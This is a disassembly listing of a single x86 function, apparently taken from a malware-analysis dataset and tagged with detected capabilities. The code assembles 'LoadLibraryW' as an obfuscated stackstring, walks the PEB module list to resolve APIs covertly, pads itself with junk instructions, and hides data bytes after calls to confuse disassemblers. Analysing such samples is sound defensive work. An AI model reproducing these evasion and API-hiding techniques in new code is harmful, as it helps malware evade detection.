Function at 0x10007480
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push edi
add esp, 4
xor edi, 0xdf1f
pop edi
mov byte [ebp - 0xb14], 0x4c
mov byte [ebp - 0xb13], 0x6f
mov byte [ebp - 0xb12], 0x61
mov byte [ebp - 0xb11], 0x64
mov byte [ebp - 0xb10], 0x4c
mov byte [ebp - 0xb0f], 0x69
mov byte [ebp - 0xb0e], 0x62
mov byte [ebp - 0xb0d], 0x72
mov byte [ebp - 0xb0c], 0x61
mov byte [ebp - 0xb0b], 0x72
mov byte [ebp - 0xb0a], 0x79
mov byte [ebp - 0xb09], 0x57
mov byte [ebp - 0xb08], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1f84], ecx
mov edx, dword [ebp - 0x1f84]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1f88], eax
mov ecx, dword [ebp - 0x1f88]
mov dword [ebp - 0x1954], ecx
push esi
push eax
add esp, 4
or esi, 0x2d15
and esi, 0x5daa
add esi, 0xba67
pop esi
push esi
xor esi, 0x3dbf
xor esi, 0x10ab5
add esi, 0x15d1d
or esi, 0xaf93
pop esi
cmp dword [ebp - 0x1954], 0
jne 0x10007558
mov dword [ebp - 0x8ac], 0
jmp 0x10007814
mov edx, dword [ebp - 0x1954]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xee8], ecx
push esi
push edi
add esp, 4
or esi, 0xfa0a
pop esi
push eax
xor eax, 0x35a5
pop eax
push edi
push ebx
add esp, 4
xor edi, 0x15002
sub edi, 0xb6dd
xor edi, 0xdb89
and edi, 0x159d1
pop edi
cmp dword [ebp - 0xee8], 0
jne 0x100075b4
mov dword [ebp - 0x8ac], 0
jmp 0x10007814
mov edx, dword [ebp - 0xee8]
mov dword [ebp - 0x5e4], edx
push ecx
add ecx, 0x14aee
xor ecx, 0x8d81
pop ecx
push edx
push ebx
add esp, 4
sub edx, 0xdfd6
and edx, 0x2576
xor edx, 0x85b8
pop edx
push edi
push eax
add esp, 4
add edi, 0x4c3a
pop edi
lea eax, [ebp - 0x1b1c]
mov dword [ebp - 0xee4], eax
mov ecx, dword [ebp - 0x5e4]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xee0], edx
xor eax, eax
mov word [ebp - 0x280], ax
xor ecx, ecx
mov word [ebp - 0x148], cx
push ecx
call 0x1000762f
add byte [ebx], bh
cmp al, 0x4a
dec ebx
aas
inc edx
xor eax, 0xc4833539
add al, 0xe8
or al, byte [eax]
add byte [eax], al
add byte [ecx + 0x47], cl
cmp bh, byte [edi]
dec ebp
cmp eax, 0x834b3350
les eax, [ecx + ebx*2]
push edx
push eax
add esp, 4
add edx, 0x5af2
pop edx
mov edx, dword [ebp - 0xee0]
mov ax, word [edx]
mov word [ebp - 0x12d6], ax
mov ecx, dword [ebp - 0xee0]
add ecx, 2
mov dword [ebp - 0xee0], ecx
mov dx, word [ebp - 0x12d6]
mov word [ebp - 0x280], dx
mov eax, dword [ebp - 0xee4]
mov cx, word [eax]
mov word [ebp - 0x12d8], cx
mov edx, dword [ebp - 0xee4]
add edx, 2
mov dword [ebp - 0xee4], edx
mov ax, word [ebp - 0x12d8]
mov word [ebp - 0x148], ax
push eax
push edi
add esp, 4
and eax, 0xfeda
jmp 0x100076be
add eax, 0x12d2c
pop eax
push ebx
push edi
add esp, 4
add ebx, 0x583b
sub ebx, 0x7894
sub ebx, 0x1138e
pop ebx
movzx ecx, word [ebp - 0x148]
test ecx, ecx
jne 0x10007700
movzx edx, word [ebp - 0x280]
movzx eax, word [ebp - 0x148]
sub edx, eax
mov dword [ebp - 0x195c], edx
jmp 0x10007763
movzx ecx, word [ebp - 0x280]
movzx edx, word [ebp - 0x148]
cmp ecx, edx
je 0x1000761f
movzx eax, word [ebp - 0x280]
xor eax, 0x20
movzx ecx, word [ebp - 0x148]
cmp eax, ecx
je 0x1000761f
movzx edx, word [ebp - 0x280]
movzx eax, word [ebp - 0x148]
cmp edx, eax
jge 0x1000774d
mov dword [ebp - 0x1958], 0xffffffff
jmp 0x10007757
mov dword [ebp - 0x1958], 1
mov ecx, dword [ebp - 0x1958]
mov dword [ebp - 0x195c], ecx
cmp dword [ebp - 0x195c], 0
jne 0x100077ac
push eax
push esi
add esp, 4
call 0x1000777e
add byte [eax], bh
dec eax
inc edi
inc esp
aas
inc eax
cmp byte [ebx + 0x515804c4], al
and ecx, 0xddd0
add ecx, 0xcc87
pop ecx
push ecx
push ebx
add esp, 4
jmp 0x1000779d
pop ecx
mov edx, dword [ebp - 0x5e4]
mov dword [ebp - 0x8ac], edx
jmp 0x10007814
push edx
push edi
add esp, 4
sub edx, 0x11f91
or edx, 0x4038
sub edx, 0x92d
sub edx, 0x1027f
pop edx
push edx
call 0x100077da
add byte [edx], dh
inc ecx
xor dh, byte [0x334b403a]
inc ebx
add esp, 4
pop edx
mov eax, dword [ebp - 0x5e4]
mov ecx, dword [eax]
mov dword [ebp - 0x5e4], ecx
mov edx, dword [ebp - 0x5e4]
cmp edx, dword [ebp - 0xee8]
je 0x1000780a
mov eax, dword [ebp - 0x5e4]
cmp dword [eax + 0x30], 0
jne 0x100075c0
mov dword [ebp - 0x8ac], 0
push edx
call 0x10007823
add byte [edi], bh
cmp dword [edi], edi
cmp al, 0x4f
cmp al, 0x34
add esp, 4
pop edx
push esi
push edx
add esp, 4
add esi, 0x1733c
pop esi
push esi
call 0x10007842
add byte [eax + 0x3b], cl
dec ebx
cmp al, 0x35
dec eax
dec ebp
cmp al, byte [ebx - 0x7ca1fb3c]
mov ebp, 0xfffff754
add byte [ebp + 0x41], dh
push ecx
push esi
add esp, 4
add ecx, 0x2de9
jmp 0x10007862
sub ecx, 0xfd74
pop ecx
push eax
push eax
add esp, 4
sub eax, 0x9d6f
pop eax
push eax
push ecx
add esp, 4
and eax, 0x16e78
pop eax
mov dword [ebp - 0xc1c], 0
jmp 0x100083cd
push edi
or edi, 0x13040
or edi, 0xc34f
add edi, 0x13a19
or edi, 0x932b
pop edi
push edx
push ebx
add esp, 4
sub edx, 0x16318
and edx, 0xa31
add edx, 0x3904
pop edx
mov edx, dword [ebp - 0xc1c]
mov dword [ebp - 0x1fb8], edx
lea eax, [ebp - 0xf00]
push eax
push 0x40
mov ecx, dword [ebp - 0x19c8]
push ecx
mov edx, dword [ebp - 0x494]
push edx
call dword [ebp - 0x1fb8]
test eax, eax
jne 0x10008472
push esi
jmp 0x10008436
xor esi, 0x137b6
pop esi
push ecx
push ebx
add esp, 4
or ecx, 0xf380
add ecx, 0xcef8
call 0x1000845a
add byte [edi + ecx*2], bh
dec ebp
inc edi
cmp eax, 0x4c4833b
pop ecx
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x1fbc], eax
push 0
invalid
xchg ebp, eax
inc esp
invalid